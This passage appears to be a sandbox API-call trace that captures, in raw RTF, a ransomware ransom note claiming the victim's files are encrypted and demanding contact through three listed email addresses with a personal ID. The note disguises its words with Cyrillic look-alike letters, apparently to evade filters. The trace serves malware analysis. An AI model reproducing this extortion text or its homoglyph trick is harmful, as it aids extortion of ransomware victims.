N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 